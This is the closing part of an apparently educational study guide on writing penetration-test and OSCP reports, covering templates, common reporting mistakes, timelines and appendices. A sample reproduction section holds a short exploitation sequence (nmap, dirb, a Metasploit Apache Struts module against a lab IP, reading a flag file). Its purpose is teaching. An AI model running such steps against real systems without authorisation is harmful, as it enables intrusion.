Machine IP addresses All target IPs tested Scope verification
User.txt and root.txt Proof of flag capture Exploitation proof
Exploitation steps Step-by-step for each machine Reproducibility
Screenshots Evidence of each step Verification
Vulnerability descriptions What was exploited Technical understanding
Remediation How to fix each issue Professional value
References Sources used Academic integrity

OSCP Report Grading Criteria

Criteria Weight Description
Completeness High All machines and findings documented
Clarity High Easy to understand and follow
Technical accuracy High Correct vulnerability descriptions
Evidence quality Medium Clear and relevant screenshots
Remediation quality Medium Actionable and specific recommendations
Professionalism Medium Proper formatting and grammar
Originality Critical Must be your own work

Key Concepts

  • Follow the template: Offensive Security provides a specific template. Use it.
  • Be thorough: Document every step, even if it seems obvious.
  • Be honest: Report what you actually did, not what you think you should have done.
  • Be professional: Proofread for grammar, spelling, and formatting.

Practical Tips for OSCP Report

Tip: Start writing your report DURING the exam, not after. Document as you go.

Tip: Take screenshots at every significant step. You will forget details later.

Tip: Use the Offensive Security provided template. Do not create your own format.

Tip: Write in past tense (“I exploited…” not “I will exploit…”).

Tip: Include the exact commands you ran. Copy from your terminal history.


14. Writing Clear Reproduction Steps

Reproduction Steps Structure

graph TD
    A[Prerequisites] --> B[Step 1]
    B --> C[Step 2]
    C --> D[Step N]
    D --> E[Expected Result]
    E --> F[Actual Result]
    
    style A fill:#339af0,stroke:#333,stroke-width:2px
    style E fill:#51cf66,stroke:#333,stroke-width:2px
    style F fill:#ff6b6b,stroke:#333,stroke-width:2px

Reproduction Steps Template

#### Reproduction Steps

**Prerequisites:**
- Target: 10.10.10.100
- Tools: nmap, metasploit, netcat
- No authentication required

**Step 1: Initial Reconnaissance**
```bash
nmap -sC -sV -oA initial 10.10.10.100

Output:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2
80/tcp open  http    Apache httpd 2.4.18

Step 2: Web Application Analysis

dirb http://10.10.10.100 /usr/share/wordlists/dirb/common.txt

Output:

==> DIRECTORY: http://10.10.10.100/admin/
==> DIRECTORY: http://10.10.10.100/backup/

Step 3: Exploitation

msfconsole
use exploit/multi/http/apache_struts2_content_type_ognl
set RHOSTS 10.10.10.100
set TARGETURI /admin/login
exploit

Step 4: Post-Exploitation

whoami
id
cat /home/user/user.txt

Expected Result:

  • Successful shell access as user ‘www-data’
  • Ability to read user.txt

Actual Result:

  • Shell obtained as ‘www-data’
  • user.txt contains: [REDACTED]

### Writing Guidelines for Reproduction Steps

| Guideline | Description | Example |
|---|---|---|
| **Numbered steps** | Use sequential numbering | Step 1, Step 2, Step 3 |
| **Exact commands** | Copy from terminal | `nmap -sC -sV 10.10.10.1` |
| **Include output** | Show what the command returns | Full terminal output |
| **Explain purpose** | Why you ran each command | "To enumerate open ports" |
| **Note timing** | When steps were performed | "After initial scan completed" |
| **Show context** | Current user, directory, etc. | `www-data@target:~$` |

### Common Reproduction Patterns

| Pattern | Description | Example |
|---|---|---|
| **Scan then exploit** | Reconnaissance followed by exploitation | nmap -> metasploit |
| **Enumerate then escalate** | User enumeration then privilege escalation | LinPEAS -> kernel exploit |
| **Brute force then access** | Credential attack then authenticated access | hydra -> SSH login |
| **Upload then execute** | File upload then command execution | web shell -> reverse shell |
| **Deserialize then RCE** | Deserialization attack then remote code execution | ysoserial -> reverse shell |

### Key Concepts

- **Chronological order:** Steps should follow the actual sequence of events.
- **Completeness:** Include every significant step, not just the "important" ones.
- **Context:** Show the environment state at each step.
- **Verification:** Show proof that each step succeeded.

### Practical Tips

> Tip: Use code blocks for all commands and output. Never inline terminal output.

> Tip: Include the prompt before each command to show context (user, host, directory).

> Tip: For multi-step exploits, show the transition between steps clearly.

---

## 15. Avoiding Common Reporting Mistakes

### Top Reporting Mistakes

| Mistake | Description | How to Avoid |
|---|---|---|
| **Vague descriptions** | "The system is vulnerable" | Be specific: "Apache Struts 2.5.30 is vulnerable to CVE-2024-1234" |
| **Missing evidence** | No screenshots or proof | Take screenshots at every significant step |
| **No remediation** | Finding without fix guidance | Always include specific remediation steps |
| **Inconsistent severity** | Same vulnerability, different ratings | Use CVSS calculator consistently |
| **Jargon overload** | Technical terms without explanation | Define terms or use plain language in executive summary |
| **Plagiarism** | Copying from other reports | Write in your own words |
| **Missing scope** | Not documenting what was tested | Clearly define scope in the overview |
| **No timestamps** | Cannot verify when findings occurred | Include dates and times for all activities |
| **Incomplete findings** | Missing key details | Use a finding template for consistency |
| **Poor formatting** | Hard to read or navigate | Use consistent headings, tables, and code blocks |

### Severity Rating Mistakes

| Mistake | Correct Approach |
|---|---|
| Rating all findings as "High" | Use CVSS to determine accurate severity |
| Ignoring context | Consider the specific environment and impact |
| Using outdated CVSS versions | Use CVSS v3.1 or later |
| Not justifying scores | Explain why a score was chosen |
| Inconsistent scoring | Use the same methodology for all findings |

### Evidence Collection Mistakes

| Mistake | Correct Approach |
|---|---|
| Screenshots without context | Include surrounding information |
| Missing timestamps | Ensure system clock is accurate |
| Unannotated screenshots | Highlight key areas with arrows or boxes |
| Incomplete HTTP captures | Show full request and response |
| No file hashes | Hash all evidence files |

### Remediation Mistakes

| Mistake | Correct Approach |
|---|---|
| "Apply patches" | "Apply Ubuntu security update USN-6543-1" |
| "Fix the vulnerability" | "Implement parameterized queries using prepared statements" |
| No prioritization | Order remediation by urgency and effort |
| No verification | Include steps to verify the fix works |
| Ignoring root cause | Address the underlying issue, not just the symptom |

### Key Concepts

- **Review before submission:** Always proofread and review your report.
- **Use checklists:** Ensure all required elements are included.
- **Get feedback:** Have a peer review your report before submission.
- **Learn from mistakes:** Keep a list of common errors to avoid.

### Practical Tips

> Tip: Create a personal checklist based on common mistakes. Use it for every report.

> Tip: Read your report aloud to catch awkward phrasing and missing information.

> Tip: Have someone without technical expertise read the executive summary. If they understand it, you did it right.

---

## 16. Timeline and Methodology Documentation

### Engagement Timeline

```mermaid
gantt
    title Penetration Test Engagement Timeline
    dateFormat  YYYY-MM-DD
    section Planning
    Scope Definition       :2026-08-01, 2d
    Rules of Engagement    :2026-08-03, 2d
    Tool Preparation       :2026-08-05, 1d
    
    section Execution
    Reconnaissance         :2026-08-06, 2d
    Scanning               :2026-08-08, 2d
    Exploitation           :2026-08-10, 3d
    Post-Exploitation      :2026-08-13, 2d
    
    section Reporting
    Analysis               :2026-08-15, 2d
    Report Writing         :2026-08-17, 5d
    Review                 :2026-08-22, 2d
    Final Delivery         :2026-08-24, 1d

Methodology Documentation

Phase Description Tools Used Output
Reconnaissance Information gathering about targets theHarvester, Maltego, WHOIS Target list, DNS records
Scanning Port and service enumeration nmap, masscan, Nikto Open ports, service versions
Vulnerability Analysis Identifying exploitable weaknesses Nessus, OpenVAS, manual review Vulnerability list
Exploitation Attempting to exploit vulnerabilities Metasploit, custom scripts, manual Successful exploits
Post-Exploitation Maintaining access, privilege escalation LinPEAS, WinPEAS, Mimikatz Root/admin access
Reporting Documenting findings and recommendations Word, Markdown, LaTeX Final report

Methodology Frameworks

Framework Phases Best For
PTES 7 phases Complete testing lifecycle
OSSTMM 6 phases Operational security testing
NIST 800-115 3 phases Government and enterprise
Cyber Kill Chain 7 stages Attack simulation
MITRE ATT&CK Tactics and techniques Adversary emulation

Timeline Documentation Template

#### Engagement Timeline

| Date | Activity | Duration | Notes |
|---|---|---|---|
| 2026-08-06 | Initial reconnaissance | 4 hours | DNS enumeration, WHOIS lookup |
| 2026-08-07 | Port scanning | 2 hours | nmap full scan of 10.10.10.0/24 |
| 2026-08-08 | Web application testing | 6 hours | Burp Suite analysis of webapp.example.com |
| 2026-08-09 | Exploitation attempts | 8 hours | SQL injection, command injection |
| 2026-08-10 | Successful exploitation | 4 hours | Gained user access on 10.10.10.100 |
| 2026-08-11 | Privilege escalation | 6 hours | Kernel exploit for root access |
| 2026-08-12 | Post-exploitation | 3 hours | Data enumeration, lateral movement |
| 2026-08-13 | Evidence collection | 2 hours | Screenshots, command output |

Key Concepts

  • Transparency: Document what you did, when, and how long it took.
  • Reproducibility: Another tester should be able to follow your methodology.
  • Efficiency: Show that you used time effectively.
  • Thoroughness: Cover all phases of the testing lifecycle.

Practical Tips

Tip: Keep a lab notebook during the engagement. Record timestamps and activities.

Tip: Use the history command in Linux to review commands you ran.

Tip: Document failed attempts too. They show thoroughness and help avoid future mistakes.


17. Appendices and Supporting Documentation

Appendix Types

Appendix Content When to Include
A: Tool Output Raw scanner output, nmap results Always
B: Network Diagrams Target architecture, network topology When relevant
C: Glossary Technical terms and abbreviations For non-technical readers
D: References CVEs, advisories, documentation Always
E: Screenshots Additional evidence not in main body When space is limited
F: Scripts Custom exploitation scripts When used
G: Configuration Tool configurations, settings When relevant
H: Legal Rules of engagement, authorization Always

Appendix Structure

graph TD
    A[Appendices] --> B[Appendix A: Tool Output]
    A --> C[Appendix B: Network Diagrams]
    A --> D[Appendix C: Glossary]
    A --> E[Appendix D: References]
    A --> F[Appendix E: Additional Evidence]
    A --> G[Appendix F: Custom Scripts]
    A --> H[Appendix G: Legal Documents]
    
    B --> B1[nmap output]
    B --> B2[Nessus report]
    B --> B3[Burp Suite logs]
    
    D --> D1[CVE references]
    D --> D2[OWASP guides]
    D --> D3[Vendor advisories]
    
    style A fill:#339af0,stroke:#333,stroke-width:3px

Glossary Template

Term Definition
CVSS Common Vulnerability Scoring System - standard for rating vulnerability severity
RCE Remote Code Execution - ability to execute arbitrary code on a remote system
SQLi SQL Injection - injecting malicious SQL code into application queries
XSS Cross-Site Scripting - injecting malicious scripts into web pages
SSRF Server-Side Request Forgery - forcing server to make requests to internal resources
XXE XML External Entity - exploiting XML parser to access local files
IDOR Insecure Direct Object Reference - accessing resources by manipulating identifiers
PoC Proof of Concept - demonstration that a vulnerability is exploitable
WAF Web Application Firewall - security appliance that filters HTTP traffic
MFA Multi-Factor Authentication - requiring multiple forms of verification

References Template

Reference URL Relevance
CVE-2024-1234 https://nvd.nist.gov/vuln/detail/CVE-2024-1234 Apache Struts RCE vulnerability
OWASP Top 10 https://owasp.org/www-project-top-ten/ Web application security risks
NIST SP 800-115 https://nvlpubs.nist.gov/nistpubs/SpecialPublications/800-115.pdf Security testing guide
CVSS v3.1 https://www.first.org/cvss/v3.1/specification-document Vulnerability scoring standard
MITRE ATT&CK https://attack.mitre.org/ Adversary tactics and techniques

Key Concepts

  • Organization: Use clear labels and numbering for appendices.
  • Relevance: Include only supporting material that adds value.
  • Accessibility: Make appendices easy to reference from the main body.
  • Completeness: Include all raw data that supports your findings.

Practical Tips

Tip: Cross-reference appendices from the main body. Use “See Appendix A” references.

Tip: Keep appendices concise. Raw data can be large; include only what is necessary.

Tip: Use the glossary for any term that might not be familiar to all readers.


Quick Reference: Essential Tools for Report Writing

Report Writing Tools

Tool Purpose Platform
Microsoft Word Report authoring Windows, Mac
LibreOffice Writer Report authoring (free) Cross-platform
LaTeX Professional document formatting Cross-platform
Markdown Lightweight formatting Cross-platform
Pandoc Document conversion Cross-platform
Grammarly Grammar and style checking Web, Desktop
Hemingway Editor Readability improvement Web

Evidence Collection Tools

Tool Purpose Platform
Burp Suite Web proxy and testing Cross-platform
Wireshark Network packet analysis Cross-platform
tcpdump CLI packet capture Linux, macOS
gnome-screenshot Linux screenshots Linux
Snipping Tool Windows screenshots Windows
hashdeep File hashing Cross-platform

CVSS and Risk Tools

Tool Purpose Platform
First.org Calculator Official CVSS calculator Web
Snyk Calculator Alternative CVSS calculator Web
Nessus Vulnerability scanner with CVSS Cross-platform
OpenVAS Open-source vulnerability scanner Cross-platform

Summary Checklist

Before Submitting Your Report

  • Executive summary is clear and concise (2-4 pages)
  • All findings are documented with consistent IDs
  • Each finding has: severity, CVSS score, summary, technical details, PoC, evidence, impact, remediation
  • Screenshots are annotated and properly named
  • All commands are included with output
  • Remediation recommendations are specific and actionable
  • References to CVEs, CWEs, and OWASP are included
  • Report is free of spelling and grammar errors
  • Table of contents is accurate
  • Document control table is complete
  • Appendices are organized and referenced
  • Report follows the required template format
  • All work is original (no plagiarism)
  • Report is saved in the correct format (PDF or Word)

Final Notes

Key Takeaways

  1. The report is as important as the hack. A great hack with a poor report fails the engagement.
  2. Know your audience. Write the executive summary for management and the technical report for engineers.
  3. Be consistent. Use templates, numbering schemes, and formatting consistently.
  4. Be thorough. Document every step, include all evidence, and provide complete remediation guidance.
  5. Be professional. Proofread, format properly, and follow industry standards.
  6. Be original. Write in your own words. Plagiarism is unacceptable.
  7. Start early. Begin documenting during the engagement, not after.
  8. Use evidence. Every claim must be supported by screenshots, output, or other proof.

End of Study Guide